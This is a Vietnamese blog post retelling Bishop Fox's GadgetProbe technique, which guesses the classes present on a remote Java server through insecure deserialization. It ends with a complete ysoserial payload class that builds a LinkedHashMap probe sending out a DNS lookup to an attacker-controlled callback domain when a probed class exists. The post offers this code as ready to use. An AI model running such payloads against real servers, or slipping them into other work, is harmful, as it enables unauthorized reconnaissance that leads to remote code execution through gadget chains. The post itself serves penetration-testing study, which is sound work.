[GadgetChain] GadgetProbe — Blind ClassPath guessing

[GadgetChain] GadgetProbe — Blind ClassPath guessing

·

5 min read

Chuyện là tối ngày hôm qua, đang chơi game thì ông anh xã hội có gởi cho mình cái blog post về 1 cái gadgetchain khá là hay.

Sau khi đọc qua và test gadgetchain này trên lab, mình quyết định chia sẻ với mọi người vì nó có liên quan tới cái part 1 của loạt bài về gadgetchain của mình (https://medium.com/@testbnull/the-art-of-deserialization-gadget-hunting-3816eb5a7afc).

Link bài viết gốc ở đây: https://know.bishopfox.com/research/gadgetprobe

Source code gốc của Burpsuite Extension ở đây: https://github.com/BishopFox/GadgetProbe

Bài viết chỉ đơn thuần là viết lại và phổ cập thêm về cái gadgetchain này, không có gì mới hơn nhiều lắm so với bài viết gốc nên nếu bạn đã đọc qua rồi thì có thể bỏ qua bài này cũng được!

#Nguyên nhân xuất hiện của gadgetchain

Trong các case thực tế của nhiều ae đi pentest, khi fuzz sẽ gặp nhiều entrypoint cho phép deserialize thông qua các signature thông dụng như: byte 0xaced, rO0AB …

Tuy nhiên do đang ở mức blackbox nên hầu như không có thông tin gì về product, các library có trong classpath của service đang chạy. Đa số đều thực hiện generate tất cả payload từ ysoserial và thử từng cái 1, cái nào ăn được thì ăn, không ăn được thì bỏ.

Làm như thế cũng không phải là cách tối ưu nhất, trong nhiều trường hợp, ví dụ đơn giản như GadgetChain CommonsBeanutils1 trong bộ ysoserial đang sử dụng version 1.9.2. Nhưng Liferay 6.2 thì lại đang sử dụng version 1.8.2,

=> Nếu generate gadgetchain bằng ysoserial và gửi lên sẽ fail luôn mặc dù gadgetchain vẫn hoạt động bình thường. Lý do bị fail là do version của server với ysoserial khác nhau nên serial của class bị sai => Fail!

Như vậy có thể sẽ gây ra nhiều trường hợp bỏ sót đáng tiếc với cách làm mò này!

Mục đích của tool GadgetProbe này là guessing các class hiện có trong classpath của server. Tuy vẫn là guessing nhưng có cơ sở hơn!

#Cách hoạt động của gadgetchain

GadgetProbe hoạt động giống như gadget URLDNS mình đã phân tích hôm trước. Chỉ khác 1 điều nho nhỏ, làm nên sự khác biệt của nó!

Gadget URLDNS trong bài trước như thế này:

        public Object getObject(final String url) throws Exception {
                HashMap ht = new HashMap();
                URL u = new URL(url); 
                ht.put(u, url); // <===
                Reflections.setFieldValue(u, "hashCode", -1); 
                return ht;
        }
HashMap.readObject()
    HashMap.hash()
      URL.hashCode()

URLDNS dựa vào nguyên lý: mỗi lần readObject(), HashMap() sẽ thực hiện tính lại hashCode() của từng key trong map.

Ví dụ như trong map có 10 key thì khi readObject() các entry này cũng đều được tính lại hết. Đây là cách mà HashMap chống collision trong map, (tên là HashMap cũng có lý do của nó cả mà!).

Điều nho nhỏ tạo nên sự khác biệt của GadgetProbe đó là 1 Class có thể Serializable!

Như trong ví dụ của mình, class Test111 hoàn toàn có thể được serialize và deserialize bình thường.

Nhưng điều gì sẽ xảy ra nếu sau khi deserialize, class không tồn tại trong classpath?

Thử refactor class vừa serialize bên trên, comment đoạn serialize lại và chỉ thực hiện deserialize object vừa nãy.

Kết quả là chương trình đẩy ra ClassNotFoundException luôn!

#! Đây chính là phần quan trọng nhất trong cách hoạt động của GadgetProbe!

Ý tưởng là kết hợp với gadgetchain URLDNS, put vào HashMap() 2 entry:

  • entry thứ nhất là cái Class cần kiểm tra

  • entry thứ 2 là URL để leak DNS

Để khi readObject, chương trình sẽ thực hiện deserialize cái Class trước.

  • nếu class không tồn tại => Exception và không có DNS request

  • nếu class tồn tại => chương trình sẽ tiếp tục tính hashCode của URL và leak DNS

Ý tưởng thì về cơ bản là như vậy, nhưng để hoạt động được thì vẫn cần thêm 1 chút mắm muối!

Vấn đề đầu tiên gặp phải là HashMap không giữ thứ tự của các entry.

Ví dụ:

put A vào trước, put B vào sau. Nhưng thứ tự của A và B trong HashMap hoàn toàn có thể là B đứng trước A!

Giải quyết vấn đề này đơn giản bằng cách dùng LinkedHashMap, thứ tự của các entry được giữ nguyên với LinkedHashMap.

Vấn đề thứ 2 gặp phải, đối với những class không tồn tại khi serialize gadgetchain thì làm thế nào?

Về cái này thì mình cũng chưa gặp bao giờ, tham khảo cách xử lý của tác giả thì ông này dùng javassist.ClassPool.makeClass() để tạo fake class. ¯_(ツ)_/¯ Nice trick, đáng học hỏi!

Gom tất cả đống bên trên lại với nhau, cuối cùng sẽ có 1 gadgetchain generator dạng như thế này:

package ysoserial.payloads;


import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import ysoserial.payloads.util.PayloadRunner;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.net.*;
import java.util.*;

import static com.nqzero.permit.Permit.setAccessible;

public class GadgetProbe implements ObjectPayload<Object>{

    private String callbackDomain;
    private ClassPool pool;

    public GadgetProbe(String callback_domain) {
        this.callbackDomain = callback_domain;
        this.pool = new ClassPool(true);
    }
    public GadgetProbe() {
        this.callbackDomain = "71a3b05021580a65ef26.d.zhack.ca";
        this.pool = new ClassPool(true);
    }

    private class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

    private Class getOrGenerateClass(String className) {
        Class clazz = null;
        try {
            clazz = Class.forName(className);
        } catch (ClassNotFoundException e) {
            CtClass cc = pool.makeClass(className);

            try {
                clazz = cc.toClass();
                return clazz;
            } catch (CannotCompileException err) {
                if (err.getCause() != null && err.getCause().getCause() instanceof SecurityException) {
                    System.err.println("Error: Classname is in protected package. Most likely a typo: " + className);
                } else {
                    err.printStackTrace();
                }
            }
        }
        return clazz;
    }

    @SuppressWarnings("unchecked")
    public Object getObject(String clsname) throws Exception{
        String[] spl = clsname.split(";");
        this.callbackDomain = spl[0];
        clsname = spl[1];
        URLStreamHandler handler = new SilentURLStreamHandler();

        LinkedHashMap hm = new LinkedHashMap();
        URL u = null;

        try {
            u = new URL(null, "http://" + clsname.replaceAll("_","d-4-sh").replaceAll("\\$","d-0-ll") + "." + callbackDomain, handler);
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
        Class clazz = getOrGenerateClass(clsname);
        if (clazz == null) {
            return null;
        }
        hm.put("test", clazz);
        hm.put(u, "test");
        try {
            Field field = URL.class.getDeclaredField("hashCode");
            setAccessible(field);

            field.set(u, -1);
        } catch (NoSuchFieldException | IllegalAccessException e) {
            e.printStackTrace();
        }
        return hm;
    }

    public static void main(String[] args) throws Exception{
        args = new String[]{"71a3b05021580a65ef26.d.zhack.ca;ysoserial.payloads.GadgetProbes"};
        PayloadRunner.run(GadgetProbe.class, args);
    }
}

#Đã sửa lại từ file gốc của tác giả để tích hợp vào ysoserial, feel free to use!

Xin gửi lời cảm ơn tới người anh xã hội @movrment (http://movrment.blogspot.com/) và tác giả từ bishopfox!

Ref: